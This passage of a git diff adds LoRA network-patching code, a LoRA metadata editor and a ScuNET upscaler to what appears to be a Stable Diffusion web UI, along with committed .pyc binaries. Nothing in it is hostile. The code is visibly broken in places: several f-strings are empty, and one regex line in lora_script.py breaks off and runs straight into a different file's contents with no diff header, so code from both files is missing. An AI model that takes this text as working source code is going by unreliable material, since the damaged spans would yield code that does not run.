weights_backup = getattr(self, "network_weights_backup", None) + bias_backup = getattr(self, "network_bias_backup", None) + + if weights_backup is None and bias_backup is None: + return + + if weights_backup is not None: + if isinstance(self, torch.nn.MultiheadAttention): + self.in_proj_weight.copy_(weights_backup[0]) + self.out_proj.weight.copy_(weights_backup[1]) + else: + self.weight.copy_(weights_backup) + + if bias_backup is not None: + if isinstance(self, torch.nn.MultiheadAttention): + self.out_proj.bias.copy_(bias_backup) + else: + self.bias.copy_(bias_backup) + else: + if isinstance(self, torch.nn.MultiheadAttention): + self.out_proj.bias = None + else: + self.bias = None + + +def network_apply_weights(self: Union[torch.nn.Conv2d, torch.nn.Linear, torch.nn.GroupNorm, torch.nn.LayerNorm, torch.nn.MultiheadAttention]): + """ + Applies the currently selected set of networks to the weights of torch layer self. + If weights already have this particular set of networks applied, does nothing. + If not, restores orginal weights from backup and alters weights according to networks. + """ + + network_layer_name = getattr(self, 'network_layer_name', None) + if network_layer_name is None: + return + + current_names = getattr(self, "network_current_names", ()) + wanted_names = tuple((x.name, x.te_multiplier, x.unet_multiplier, x.dyn_dim) for x in loaded_networks) + + weights_backup = getattr(self, "network_weights_backup", None) + if weights_backup is None and wanted_names != (): + if current_names != (): + raise RuntimeError("no backup weights found and current weights are not unchanged") + + if isinstance(self, torch.nn.MultiheadAttention): + weights_backup = (self.in_proj_weight.to(devices.cpu, copy=True), self.out_proj.weight.to(devices.cpu, copy=True)) + else: + weights_backup = self.weight.to(devices.cpu, copy=True) + + self.network_weights_backup = weights_backup + + bias_backup = getattr(self, "network_bias_backup", None) + if bias_backup is None: + if isinstance(self, torch.nn.MultiheadAttention) and self.out_proj.bias is not None: + bias_backup = self.out_proj.bias.to(devices.cpu, copy=True) + elif getattr(self, 'bias', None) is not None: + bias_backup = self.bias.to(devices.cpu, copy=True) + else: + bias_backup = None + self.network_bias_backup = bias_backup + + if current_names != wanted_names: + network_restore_weights_from_backup(self) + + for net in loaded_networks: + module = net.modules.get(network_layer_name, None) + if module is not None and hasattr(self, 'weight'): + try: + with torch.no_grad(): + updown, ex_bias = module.calc_updown(self.weight) + + if len(self.weight.shape) == 4 and self.weight.shape[1] == 9: + # inpainting model. zero pad updown to make channel[1] 4 to 9 + updown = torch.nn.functional.pad(updown, (0, 0, 0, 0, 0, 5)) + + self.weight += updown + if ex_bias is not None and hasattr(self, 'bias'): + if self.bias is None: + self.bias = torch.nn.Parameter(ex_bias) + else: + self.bias += ex_bias + except RuntimeError as e: + logging.debug(f"Network {net.name} layer {network_layer_name}: {e}") + extra_network_lora.errors[net.name] = extra_network_lora.errors.get(net.name, 0) + 1 + + continue + + module_q = net.modules.get(network_layer_name + "_q_proj", None) + module_k = net.modules.get(network_layer_name + "_k_proj", None) + module_v = net.modules.get(network_layer_name + "_v_proj", None) + module_out = net.modules.get(network_layer_name + "_out_proj", None) + + if isinstance(self, torch.nn.MultiheadAttention) and module_q and module_k and module_v and module_out: + try: + with torch.no_grad(): + updown_q, _ = module_q.calc_updown(self.in_proj_weight) + updown_k, _ = module_k.calc_updown(self.in_proj_weight) + updown_v, _ = module_v.calc_updown(self.in_proj_weight) + updown_qkv = torch.vstack([updown_q, updown_k, updown_v]) + updown_out, ex_bias = module_out.calc_updown(self.out_proj.weight) + + self.in_proj_weight += updown_qkv + self.out_proj.weight += updown_out + if ex_bias is not None: + if self.out_proj.bias is None: + self.out_proj.bias = torch.nn.Parameter(ex_bias) + else: + self.out_proj.bias += ex_bias + + except RuntimeError as e: + logging.debug(f"Network {net.name} layer {network_layer_name}: {e}") + extra_network_lora.errors[net.name] = extra_network_lora.errors.get(net.name, 0) + 1 + + continue + + if module is None: + continue + + logging.debug(f"Network {net.name} layer {network_layer_name}: couldn't find supported operation") + extra_network_lora.errors[net.name] = extra_network_lora.errors.get(net.name, 0) + 1 + + self.network_current_names = wanted_names + + +def network_forward(module, input, original_forward): + """ + Old way of applying Lora by executing operations during layer's forward. + Stacking many loras this way results in big performance degradation. + """ + + if len(loaded_networks) == 0: + return original_forward(module, input) + + input = devices.cond_cast_unet(input) + + network_restore_weights_from_backup(module) + network_reset_cached_weight(module) + + y = original_forward(module, input) + + network_layer_name = getattr(module, 'network_layer_name', None) + for lora in loaded_networks: + module = lora.modules.get(network_layer_name, None) + if module is None: + continue + + y = module.forward(input, y) + + return y + + +def network_reset_cached_weight(self: Union[torch.nn.Conv2d, torch.nn.Linear]): + self.network_current_names = () + self.network_weights_backup = None + + +def network_Linear_forward(self, input): + if shared.opts.lora_functional: + return network_forward(self, input, originals.Linear_forward) + + network_apply_weights(self) + + return originals.Linear_forward(self, input) + + +def network_Linear_load_state_dict(self, *args, **kwargs): + network_reset_cached_weight(self) + + return originals.Linear_load_state_dict(self, *args, **kwargs) + + +def network_Conv2d_forward(self, input): + if shared.opts.lora_functional: + return network_forward(self, input, originals.Conv2d_forward) + + network_apply_weights(self) + + return originals.Conv2d_forward(self, input) + + +def network_Conv2d_load_state_dict(self, *args, **kwargs): + network_reset_cached_weight(self) + + return originals.Conv2d_load_state_dict(self, *args, **kwargs) + + +def network_GroupNorm_forward(self, input): + if shared.opts.lora_functional: + return network_forward(self, input, originals.GroupNorm_forward) + + network_apply_weights(self) + + return originals.GroupNorm_forward(self, input) + + +def network_GroupNorm_load_state_dict(self, *args, **kwargs): + network_reset_cached_weight(self) + + return originals.GroupNorm_load_state_dict(self, *args, **kwargs) + + +def network_LayerNorm_forward(self, input): + if shared.opts.lora_functional: + return network_forward(self, input, originals.LayerNorm_forward) + + network_apply_weights(self) + + return originals.LayerNorm_forward(self, input) + + +def network_LayerNorm_load_state_dict(self, *args, **kwargs): + network_reset_cached_weight(self) + + return originals.LayerNorm_load_state_dict(self, *args, **kwargs) + + +def network_MultiheadAttention_forward(self, *args, **kwargs): + network_apply_weights(self) + + return originals.MultiheadAttention_forward(self, *args, **kwargs) + + +def network_MultiheadAttention_load_state_dict(self, *args, **kwargs): + network_reset_cached_weight(self) + + return originals.MultiheadAttention_load_state_dict(self, *args, **kwargs) + + +def list_available_networks(): + available_networks.clear() + available_network_aliases.clear() + forbidden_network_aliases.clear() + available_network_hash_lookup.clear() + forbidden_network_aliases.update({"none": 1, "Addams": 1}) + + os.makedirs(shared.cmd_opts.lora_dir, exist_ok=True) + + candidates = list(shared.walk_files(shared.cmd_opts.lora_dir, allowed_extensions=[".pt", ".ckpt", ".safetensors"])) + candidates += list(shared.walk_files(shared.cmd_opts.lyco_dir_backcompat, allowed_extensions=[".pt", ".ckpt", ".safetensors"])) + for filename in candidates: + if os.path.isdir(filename): + continue + + name = os.path.splitext(os.path.basename(filename))[0] + try: + entry = network.NetworkOnDisk(name, filename) + except OSError: # should catch FileNotFoundError and PermissionError etc. + errors.report(f"Failed to load network {name} from {filename}", exc_info=True) + continue + + available_networks[name] = entry + + if entry.alias in available_network_aliases: + forbidden_network_aliases[entry.alias.lower()] = 1 + + available_network_aliases[name] = entry + available_network_aliases[entry.alias] = entry + + +re_network_name = re.compile(r"(.*)\s*\([0-9a-fA-F]+\)") + + +def infotext_pasted(infotext, params): + if "AddNet Module 1" in [x[1] for x in scripts.scripts_txt2img.infotext_fields]: + return # if the other extension is active, it will handle those fields, no need to do anything + + added = [] + + for k in params: + if not k.startswith("AddNet Model "): + continue + + num = k[13:] + + if params.get("AddNet Module " + num) != "LoRA": + continue + + name = params.get("AddNet Model " + num) + if name is None: + continue + + m = re_network_name.match(name) + if m: + name = m.group(1) + + multiplier = params.get("AddNet Weight A " + num, "1.0") + + added.append(f"") + + if added: + params["Prompt"] += "\n" + "".join(added) + + +originals: lora_patches.LoraPatches = None + +extra_network_lora = None + +available_networks = {} +available_network_aliases = {} +loaded_networks = [] +networks_in_memory = {} +available_network_hash_lookup = {} +forbidden_network_aliases = {} + +list_available_networks() diff --git a/extensions-builtin/Lora/preload.py b/extensions-builtin/Lora/preload.py new file mode 100644 index 0000000000000000000000000000000000000000..1f85bc5338d77df91e60f35ebb4ce11d2573f01f --- /dev/null +++ b/extensions-builtin/Lora/preload.py @@ -0,0 +1,7 @@ +import os +from modules import paths + + +def preload(parser): + parser.add_argument("--lora-dir", type=str, help="Path to directory with Lora networks.", default=os.path.join(paths.models_path, 'Lora')) + parser.add_argument("--lyco-dir-backcompat", type=str, help="Path to directory with LyCORIS networks (for backawards compatibility; can also use --lyco-dir).", default=os.path.join(paths.models_path, 'LyCORIS')) diff --git a/extensions-builtin/Lora/scripts/__pycache__/lora_script.cpython-39.pyc b/extensions-builtin/Lora/scripts/__pycache__/lora_script.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..4829d627c3c0e5b09eb4e2cd9c56826e1e833e62 Binary files /dev/null and b/extensions-builtin/Lora/scripts/__pycache__/lora_script.cpython-39.pyc differ diff --git a/extensions-builtin/Lora/scripts/lora_script.py b/extensions-builtin/Lora/scripts/lora_script.py new file mode 100644 index 0000000000000000000000000000000000000000..83b6678db128f44a7a556221e02022fe8e416beb --- /dev/null +++ b/extensions-builtin/Lora/scripts/lora_script.py @@ -0,0 +1,99 @@ +import re + +import gradio as gr +from fastapi import FastAPI + +import network +import networks +import lora # noqa:F401 +import lora_patches +import extra_networks_lora +import ui_extra_networks_lora +from modules import script_callbacks, ui_extra_networks, extra_networks, shared + + +def unload(): + networks.originals.undo() + + +def before_ui(): + ui_extra_networks.register_page(ui_extra_networks_lora.ExtraNetworksPageLora()) + + networks.extra_network_lora = extra_networks_lora.ExtraNetworkLora() + extra_networks.register_extra_network(networks.extra_network_lora) + extra_networks.register_extra_network_alias(networks.extra_network_lora, "lyco") + + +networks.originals = lora_patches.LoraPatches() + +script_callbacks.on_model_loaded(networks.assign_network_names_to_compvis_modules) +script_callbacks.on_script_unloaded(unload) +script_callbacks.on_before_ui(before_ui) +script_callbacks.on_infotext_pasted(networks.infotext_pasted) + + +shared.options_templates.update(shared.options_section(('extra_networks', "Extra Networks"), { + "sd_lora": shared.OptionInfo("None", "Add network to prompt", gr.Dropdown, lambda: {"choices": ["None", *networks.available_networks]}, refresh=networks.list_available_networks), + "lora_preferred_name": shared.OptionInfo("Alias from file", "When adding to prompt, refer to Lora by", gr.Radio, {"choices": ["Alias from file", "Filename"]}), + "lora_add_hashes_to_infotext": shared.OptionInfo(True, "Add Lora hashes to infotext"), + "lora_show_all": shared.OptionInfo(False, "Always show all networks on the Lora page").info("otherwise, those detected as for incompatible version of Stable Diffusion will be hidden"), + "lora_hide_unknown_for_versions": shared.OptionInfo([], "Hide networks of unknown versions for model versions", gr.CheckboxGroup, {"choices": ["SD1", "SD2", "SDXL"]}), + "lora_in_memory_limit": shared.OptionInfo(0, "Number of Lora networks to keep cached in memory", gr.Number, {"precision": 0}), +})) + + +shared.options_templates.update(shared.options_section(('compatibility', "Compatibility"), { + "lora_functional": shared.OptionInfo(False, "Lora/Networks: use old method that takes longer when you have multiple Loras active and produces same results as kohya-ss/sd-webui-additional-networks extension"), +})) + + +def create_lora_json(obj: network.NetworkOnDisk): + return { + "name": obj.name, + "alias": obj.alias, + "path": obj.filename, + "metadata": obj.metadata, + } + + +def api_networks(_: gr.Blocks, app: FastAPI): + @app.get("/sdapi/v1/loras") + async def get_loras(): + return [create_lora_json(obj) for obj in networks.available_networks.values()] + + @app.post("/sdapi/v1/refresh-loras") + async def refresh_loras(): + return networks.list_available_networks() + + +script_callbacks.on_app_started(api_networks) + +re_lora = re.compile("= 16 + + +re_word = re.compile(r"[-_\w']+") +re_comma = re.compile(r" *, *") + + +def build_tags(metadata): + tags = {} + + for _, tags_dict in metadata.get("ss_tag_frequency", {}).items(): + for tag, tag_count in tags_dict.items(): + tag = tag.strip() + tags[tag] = tags.get(tag, 0) + int(tag_count) + + if tags and is_non_comma_tagset(tags): + new_tags = {} + + for text, text_count in tags.items(): + for word in re.findall(re_word, text): + if len(word) < 3: + continue + + new_tags[word] = new_tags.get(word, 0) + text_count + + tags = new_tags + + ordered_tags = sorted(tags.keys(), key=tags.get, reverse=True) + + return [(tag, tags[tag]) for tag in ordered_tags] + + +class LoraUserMetadataEditor(ui_extra_networks_user_metadata.UserMetadataEditor): + def __init__(self, ui, tabname, page): + super().__init__(ui, tabname, page) + + self.select_sd_version = None + + self.taginfo = None + self.edit_activation_text = None + self.slider_preferred_weight = None + self.edit_notes = None + + def save_lora_user_metadata(self, name, desc, sd_version, activation_text, preferred_weight, notes): + user_metadata = self.get_user_metadata(name) + user_metadata["description"] = desc + user_metadata["sd version"] = sd_version + user_metadata["activation text"] = activation_text + user_metadata["preferred weight"] = preferred_weight + user_metadata["notes"] = notes + + self.write_user_metadata(name, user_metadata) + + def get_metadata_table(self, name): + table = super().get_metadata_table(name) + item = self.page.items.get(name, {}) + metadata = item.get("metadata") or {} + + keys = { + 'ss_output_name': "Output name:", + 'ss_sd_model_name': "Model:", + 'ss_clip_skip': "Clip skip:", + 'ss_network_module': "Kohya module:", + } + + for key, label in keys.items(): + value = metadata.get(key, None) + if value is not None and str(value) != "None": + table.append((label, html.escape(value))) + + ss_training_started_at = metadata.get('ss_training_started_at') + if ss_training_started_at: + table.append(("Date trained:", datetime.datetime.utcfromtimestamp(float(ss_training_started_at)).strftime('%Y-%m-%d %H:%M'))) + + ss_bucket_info = metadata.get("ss_bucket_info") + if ss_bucket_info and "buckets" in ss_bucket_info: + resolutions = {} + for _, bucket in ss_bucket_info["buckets"].items(): + resolution = bucket["resolution"] + resolution = f'{resolution[1]}x{resolution[0]}' + + resolutions[resolution] = resolutions.get(resolution, 0) + int(bucket["count"]) + + resolutions_list = sorted(resolutions.keys(), key=resolutions.get, reverse=True) + resolutions_text = html.escape(", ".join(resolutions_list[0:4])) + if len(resolutions) > 4: + resolutions_text += ", ..." + resolutions_text = f"{resolutions_text}" + + table.append(('Resolutions:' if len(resolutions_list) > 1 else 'Resolution:', resolutions_text)) + + image_count = 0 + for _, params in metadata.get("ss_dataset_dirs", {}).items(): + image_count += int(params.get("img_count", 0)) + + if image_count: + table.append(("Dataset size:", image_count)) + + return table + + def put_values_into_components(self, name): + user_metadata = self.get_user_metadata(name) + values = super().put_values_into_components(name) + + item = self.page.items.get(name, {}) + metadata = item.get("metadata") or {} + + tags = build_tags(metadata) + gradio_tags = [(tag, str(count)) for tag, count in tags[0:24]] + + return [ + *values[0:5], + item.get("sd_version", "Unknown"), + gr.HighlightedText.update(value=gradio_tags, visible=True if tags else False), + user_metadata.get('activation text', ''), + float(user_metadata.get('preferred weight', 0.0)), + gr.update(visible=True if tags else False), + gr.update(value=self.generate_random_prompt_from_tags(tags), visible=True if tags else False), + ] + + def generate_random_prompt(self, name): + item = self.page.items.get(name, {}) + metadata = item.get("metadata") or {} + tags = build_tags(metadata) + + return self.generate_random_prompt_from_tags(tags) + + def generate_random_prompt_from_tags(self, tags): + max_count = None + res = [] + for tag, count in tags: + if not max_count: + max_count = count + + v = random.random() * max_count + if count > v: + res.append(tag) + + return ", ".join(sorted(res)) + + def create_extra_default_items_in_left_column(self): + + # this would be a lot better as gr.Radio but I can't make it work + self.select_sd_version = gr.Dropdown(['SD1', 'SD2', 'SDXL', 'Unknown'], value='Unknown', label='Stable Diffusion version', interactive=True) + + def create_editor(self): + self.create_default_editor_elems() + + self.taginfo = gr.HighlightedText(label="Training dataset tags") + self.edit_activation_text = gr.Text(label='Activation text', info="Will be added to prompt along with Lora") + self.slider_preferred_weight = gr.Slider(label='Preferred weight', info="Set to 0 to disable", minimum=0.0, maximum=2.0, step=0.01) + + with gr.Row() as row_random_prompt: + with gr.Column(scale=8): + random_prompt = gr.Textbox(label='Random prompt', lines=4, max_lines=4, interactive=False) + + with gr.Column(scale=1, min_width=120): + generate_random_prompt = gr.Button('Generate', size="lg", scale=1) + + self.edit_notes = gr.TextArea(label='Notes', lines=4) + + generate_random_prompt.click(fn=self.generate_random_prompt, inputs=[self.edit_name_input], outputs=[random_prompt], show_progress=False) + + def select_tag(activation_text, evt: gr.SelectData): + tag = evt.value[0] + + words = re.split(re_comma, activation_text) + if tag in words: + words = [x for x in words if x != tag and x.strip()] + return ", ".join(words) + + return activation_text + ", " + tag if activation_text else tag + + self.taginfo.select(fn=select_tag, inputs=[self.edit_activation_text], outputs=[self.edit_activation_text], show_progress=False) + + self.create_default_buttons() + + viewed_components = [ + self.edit_name, + self.edit_description, + self.html_filedata, + self.html_preview, + self.edit_notes, + self.select_sd_version, + self.taginfo, + self.edit_activation_text, + self.slider_preferred_weight, + row_random_prompt, + random_prompt, + ] + + self.button_edit\ + .click(fn=self.put_values_into_components, inputs=[self.edit_name_input], outputs=viewed_components)\ + .then(fn=lambda: gr.update(visible=True), inputs=[], outputs=[self.box]) + + edited_components = [ + self.edit_description, + self.select_sd_version, + self.edit_activation_text, + self.slider_preferred_weight, + self.edit_notes, + ] + + self.setup_save_handler(self.button_save, self.save_lora_user_metadata, edited_components) diff --git a/extensions-builtin/Lora/ui_extra_networks_lora.py b/extensions-builtin/Lora/ui_extra_networks_lora.py new file mode 100644 index 0000000000000000000000000000000000000000..e89af57d1b4283c969df4fd007d02c107ff8264e --- /dev/null +++ b/extensions-builtin/Lora/ui_extra_networks_lora.py @@ -0,0 +1,79 @@ +import os + +import network +import networks + +from modules import shared, ui_extra_networks +from modules.ui_extra_networks import quote_js +from ui_edit_user_metadata import LoraUserMetadataEditor + + +class ExtraNetworksPageLora(ui_extra_networks.ExtraNetworksPage): + def __init__(self): + super().__init__('Lora') + + def refresh(self): + networks.list_available_networks() + + def create_item(self, name, index=None, enable_filter=True): + lora_on_disk = networks.available_networks.get(name) + + path, ext = os.path.splitext(lora_on_disk.filename) + + alias = lora_on_disk.get_alias() + + item = { + "name": name, + "filename": lora_on_disk.filename, + "shorthash": lora_on_disk.shorthash, + "preview": self.find_preview(path), + "description": self.find_description(path), + "search_term": self.search_terms_from_path(lora_on_disk.filename) + " " + (lora_on_disk.hash or ""), + "local_preview": f"{path}.{shared.opts.samples_format}", + "metadata": lora_on_disk.metadata, + "sort_keys": {'default': index, **self.get_sort_keys(lora_on_disk.filename)}, + "sd_version": lora_on_disk.sd_version.name, + } + + self.read_user_metadata(item) + activation_text = item["user_metadata"].get("activation text") + preferred_weight = item["user_metadata"].get("preferred weight", 0.0) + item["prompt"] = quote_js(f"") + + if activation_text: + item["prompt"] += " + " + quote_js(" " + activation_text) + + sd_version = item["user_metadata"].get("sd version") + if sd_version in network.SdVersion.__members__: + item["sd_version"] = sd_version + sd_version = network.SdVersion[sd_version] + else: + sd_version = lora_on_disk.sd_version + + if shared.opts.lora_show_all or not enable_filter: + pass + elif sd_version == network.SdVersion.Unknown: + model_version = network.SdVersion.SDXL if shared.sd_model.is_sdxl else network.SdVersion.SD2 if shared.sd_model.is_sd2 else network.SdVersion.SD1 + if model_version.name in shared.opts.lora_hide_unknown_for_versions: + return None + elif shared.sd_model.is_sdxl and sd_version != network.SdVersion.SDXL: + return None + elif shared.sd_model.is_sd2 and sd_version != network.SdVersion.SD2: + return None + elif shared.sd_model.is_sd1 and sd_version != network.SdVersion.SD1: + return None + + return item + + def list_items(self): + for index, name in enumerate(networks.available_networks): + item = self.create_item(name, index) + + if item is not None: + yield item + + def allowed_directories_for_previews(self): + return [shared.cmd_opts.lora_dir, shared.cmd_opts.lyco_dir_backcompat] + + def create_user_metadata_editor(self, ui, tabname): + return LoraUserMetadataEditor(ui, tabname, self) diff --git a/extensions-builtin/ScuNET/__pycache__/preload.cpython-39.pyc b/extensions-builtin/ScuNET/__pycache__/preload.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..893ff1f52cbd54c95a36318ad8b053d1cdecee42 Binary files /dev/null and b/extensions-builtin/ScuNET/__pycache__/preload.cpython-39.pyc differ diff --git a/extensions-builtin/ScuNET/__pycache__/scunet_model_arch.cpython-39.pyc b/extensions-builtin/ScuNET/__pycache__/scunet_model_arch.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..e374556d04c209cdacb634a4fbbcabbb02291eea Binary files /dev/null and b/extensions-builtin/ScuNET/__pycache__/scunet_model_arch.cpython-39.pyc differ diff --git a/extensions-builtin/ScuNET/preload.py b/extensions-builtin/ScuNET/preload.py new file mode 100644 index 0000000000000000000000000000000000000000..4ce82b1d4349b24192b1915d022ed4fda9f31e5c --- /dev/null +++ b/extensions-builtin/ScuNET/preload.py @@ -0,0 +1,6 @@ +import os +from modules import paths + + +def preload(parser): + parser.add_argument("--scunet-models-path", type=str, help="Path to directory with ScuNET model file(s).", default=os.path.join(paths.models_path, 'ScuNET')) diff --git a/extensions-builtin/ScuNET/scripts/__pycache__/scunet_model.cpython-39.pyc b/extensions-builtin/ScuNET/scripts/__pycache__/scunet_model.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..f26e265e58dcf33327fe0db7836fee59dfcdb07e Binary files /dev/null and b/extensions-builtin/ScuNET/scripts/__pycache__/scunet_model.cpython-39.pyc differ diff --git a/extensions-builtin/ScuNET/scripts/scunet_model.py b/extensions-builtin/ScuNET/scripts/scunet_model.py new file mode 100644 index 0000000000000000000000000000000000000000..167d2f64b8e8ef1c506d89026e5d2ac8687d8098 --- /dev/null +++ b/extensions-builtin/ScuNET/scripts/scunet_model.py @@ -0,0 +1,144 @@ +import sys + +import PIL.Image +import numpy as np +import torch +from tqdm import tqdm + +import modules.upscaler +from modules import devices, modelloader, script_callbacks, errors +from scunet_model_arch import SCUNet + +from modules.modelloader import load_file_from_url +from modules.shared import opts + + +class UpscalerScuNET(modules.upscaler.Upscaler): + def __init__(self, dirname): + self.name = "ScuNET" + self.model_name = "ScuNET GAN" + self.model_name2 = "ScuNET PSNR" + self.model_url = "https://github.com/cszn/KAIR/releases/download/v1.0/scunet_color_real_gan.pth" + self.model_url2 = "https://github.com/cszn/KAIR/releases/download/v1.0/scunet_color_real_psnr.pth" + self.user_path = dirname + super().__init__() + model_paths = self.find_models(ext_filter=[".pth"]) + scalers = [] + add_model2 = True + for file in model_paths: + if file.startswith("http"): + name = self.model_name + else: + name = modelloader.friendly_name(file) + if name == self.model_name2 or file == self.model_url2: + add_model2 = False + try: + scaler_data = modules.upscaler.UpscalerData(name, file, self, 4) + scalers.append(scaler_data) + except Exception: + errors.report(f"Error loading ScuNET model: {file}", exc_info=True) + if add_model2: + scaler_data2 = modules.upscaler.UpscalerData(self.model_name2, self.model_url2, self) + scalers.append(scaler_data2) + self.scalers = scalers + + @staticmethod + @torch.no_grad() + def tiled_inference(img, model): + # test the image tile by tile + h, w = img.shape[2:] + tile = opts.SCUNET_tile + tile_overlap = opts.SCUNET_tile_overlap + if tile == 0: + return model(img) + + device = devices.get_device_for('scunet') + assert tile % 8 == 0, "tile size should be a multiple of window_size" + sf = 1 + + stride = tile - tile_overlap + h_idx_list = list(range(0, h - tile, stride)) + [h - tile] + w_idx_list = list(range(0, w - tile, stride)) + [w - tile] + E = torch.zeros(1, 3, h * sf, w * sf, dtype=img.dtype, device=device) + W = torch.zeros_like(E, dtype=devices.dtype, device=device) + + with tqdm(total=len(h_idx_list) * len(w_idx_list), desc="ScuNET tiles") as pbar: + for h_idx in h_idx_list: + + for w_idx in w_idx_list: + + in_patch = img[..., h_idx: h_idx + tile, w_idx: w_idx + tile] + + out_patch = model(in_patch) + out_patch_mask = torch.ones_like(out_patch) + + E[ + ..., h_idx * sf: (h_idx + tile) * sf, w_idx * sf: (w_idx + tile) * sf + ].add_(out_patch) + W[ + ..., h_idx * sf: (h_idx + tile) * sf, w_idx * sf: (w_idx + tile) * sf + ].add_(out_patch_mask) + pbar.update(1) + output = E.div_(W) + + return output + + def do_upscale(self, img: PIL.Image.Image, selected_file): + + devices.torch_gc() + + try: + model = self.load_model(selected_file) + except Exception as e: + print(f"ScuNET: Unable to load model from {selected_file}: {e}", file=sys.stderr) + return img + + device = devices.get_device_for('scunet') + tile = opts.SCUNET_tile + h, w = img.height, img.width + np_img = np.array(img) + np_img = np_img[:, :, ::-1] # RGB to BGR + np_img = np_img.transpose((2, 0, 1)) / 255 # HWC to CHW + torch_img = torch.from_numpy(np_img).float().unsqueeze(0).to(device) # type: ignore + + if tile > h or tile > w: + _img = torch.zeros(1, 3, max(h, tile), max(w, tile), dtype=torch_img.dtype, device=torch_img.device) + _img[:, :, :h, :w] = torch_img # pad image + torch_img = _img + + torch_output = self.tiled_inference(torch_img, model).squeeze(0) + torch_output = torch_output[:, :h * 1, :w * 1] # remove padding, if any + np_output: np.ndarray = torch_output.float().cpu().clamp_(0, 1).numpy() + del torch_img, torch_output + devices.torch_gc() + + output = np_output.transpose((1, 2, 0)) # CHW to HWC + output = output[:, :, ::-1] # BGR to RGB + return PIL.Image.fromarray((output * 255).astype(np.uint8)) + + def load_model(self, path: str): + device = devices.get_device_for('scunet') + if path.startswith("http"): + # TODO: this doesn't use `path` at all? + filename = load_file_from_url(self.model_url, model_dir=self.model_download_path, file_name=f"{self.name}.pth") + else: + filename = path + model = SCUNet(in_nc=3, config=[4, 4, 4, 4, 4, 4, 4], dim=64) + model.load_state_dict(torch.load(filename), strict=True) + model.eval() + for _, v in model.named_parameters(): + v.requires_grad = False + model = model.to(device) + + return model + + +def on_ui_settings(): + import gradio as gr + from modules import shared + + shared.opts.add_option("SCUNET_tile", shared.OptionInfo(256, "Tile size for SCUNET upscalers.", gr.Slider, {"minimum": 0, "maximum": 512, "step": 16}, section=('upscaling', "Upscaling")).info("0 = no tiling")) + shared.opts.add_option("SCUNET_tile_overlap", shared.OptionInfo(8, "Tile overlap for SCUNET upscalers.", gr.Slider, {"minimum": 0, "maximum": 64, "step": 1}, section=('upscaling', "Upscaling")).info("Low values = visible seam")) + + +script_callbacks.on_ui_settings(on_ui_settings) diff --git a/extensions-builtin/ScuNET/scunet_model_arch.py b/extensions-builtin/ScuNET/scunet_model_arch.py new file mode 100644 index 0000000000000000000000000000000000000000..b51a880629baa492ffcbebe682bcf101f06699a6 --- /dev/null +++ b/extensions-builtin/ScuNET/scunet_model_arch.py @@ -0,0 +1,268 @@ +# -*- coding: utf-8 -*- +import numpy as np +import torch +import torch.nn as nn +from einops import rearrange +from einops.layers.torch import Rearrange +from timm.models.layers import trunc_normal_, DropPath + + +class WMSA(nn.Module): + """ Self-attention module in Swin Transformer + """ + + def __init__(self, input_dim, output_dim, head_dim, window_size, type): + super(WMSA, self).__init__() + self.input_dim = input_dim + self.output_dim = output_dim + self.head_dim = head_dim + self.scale = self.head_dim ** -0.5 + self.n_heads = input_dim // head_dim + self.window_size = window_size + self.type = type + self.embedding_layer = nn.Linear(self.input_dim, 3 * self.input_dim, bias=True) + + self.relative_position_params = nn.Parameter( + torch.zeros((2 * window_size - 1) * (2 * window_size - 1), self.n_heads)) + + self.linear = nn.Linear(self.input_dim, self.output_dim) + + trunc_normal_(self.relative_position_params, std=.02) + self.relative_position_params = torch.nn.Parameter( + self.relative_position_params.view(2 * window_size - 1, 2 * window_size - 1, self.n_heads).transpose(1, + 2).transpose( + 0, 1)) + + def generate_mask(self, h, w, p, shift): + """ generating the mask of SW-MSA + Args: + shift: shift parameters in CyclicShift. + Returns: + attn_mask: should be (1 1 w p p), + """ + # supporting square. + attn_mask = torch.zeros(h, w, p, p, p, p, dtype=torch.bool, device=self.relative_position_params.device) + if self.type == 'W': + return attn_mask + + s = p - shift + attn_mask[-1, :, :s, :, s:, :] = True + attn_mask[-1, :, s:, :, :s, :] = True + attn_mask[:, -1, :, :s, :, s:] = True + attn_mask[:, -1, :, s:, :, :s] = True + attn_mask = rearrange(attn_mask, 'w1 w2 p1 p2 p3 p4 -> 1 1 (w1 w2) (p1 p2) (p3 p4)') + return attn_mask + + def forward(self, x): + """ Forward pass of Window Multi-head Self-attention module. + Args: + x: input tensor with shape of [b h w c]; + attn_mask: attention mask, fill -inf where the value is True; + Returns: + output: tensor shape [b h w c] + """ + if self.type != 'W': + x = torch.roll(x, shifts=(-(self.window_size // 2), -(self.window_size // 2)), dims=(1, 2)) + + x = rearrange(x, 'b (w1 p1) (w2 p2) c -> b w1 w2 p1 p2 c', p1=self.window_size, p2=self.window_size) + h_windows = x.size(1) + w_windows = x.size(2) + # square validation + # assert h_windows == w_windows + + x = rearrange(x, 'b w1 w2 p1 p2 c -> b (w1 w2) (p1 p2) c', p1=self.window_size, p2=self.window_size) + qkv = self.embedding_layer(x) + q, k, v = rearrange(qkv, 'b nw np (threeh c) -> threeh b nw np c', c=self.head_dim).chunk(3, dim=0) + sim = torch.einsum('hbwpc,hbwqc->hbwpq', q, k) * self.scale + # Adding learnable relative embedding + sim = sim + rearrange(self.relative_embedding(), 'h p q -> h 1 1 p q') + # Using Attn Mask to distinguish different subwindows. + if self.type != 'W': + attn_mask = self.generate_mask(h_windows, w_windows, self.window_size, shift=self.window_size // 2) + sim = sim.masked_fill_(attn_mask, float("-inf")) + + probs = nn.functional.softmax(sim, dim=-1) + output = torch.einsum('hbwij,hbwjc->hbwic', probs, v) + output = rearrange(output, 'h b w p c -> b w p (h c)') + output = self.linear(output) + output = rearrange(output, 'b (w1 w2) (p1 p2) c -> b (w1 p1) (w2 p2) c', w1=h_windows, p1=self.window_size) + + if self.type != 'W': + output = torch.roll(output, shifts=(self.window_size // 2, self.window_size // 2), dims=(1, 2)) + + return output + + def relative_embedding(self): + cord = torch.tensor(np.array([[i, j] for i in range(self.window_size) for j in range(self.window_size)])) + relation = cord[:, None, :] - cord[None, :, :] + self.window_size - 1 + # negative is allowed + return self.relative_position_params[:, relation[:, :, 0].long(), relation[:, :, 1].long()] + + +class Block(nn.Module): + def __init__(self, input_dim, output_dim, head_dim, window_size, drop_path, type='W', input_resolution=None): + """ SwinTransformer Block + """ + super(Block, self).__init__() + self.input_dim = input_dim + self.output_dim = output_dim + assert type in ['W', 'SW'] + self.type = type + if input_resolution <= window_size: + self.type = 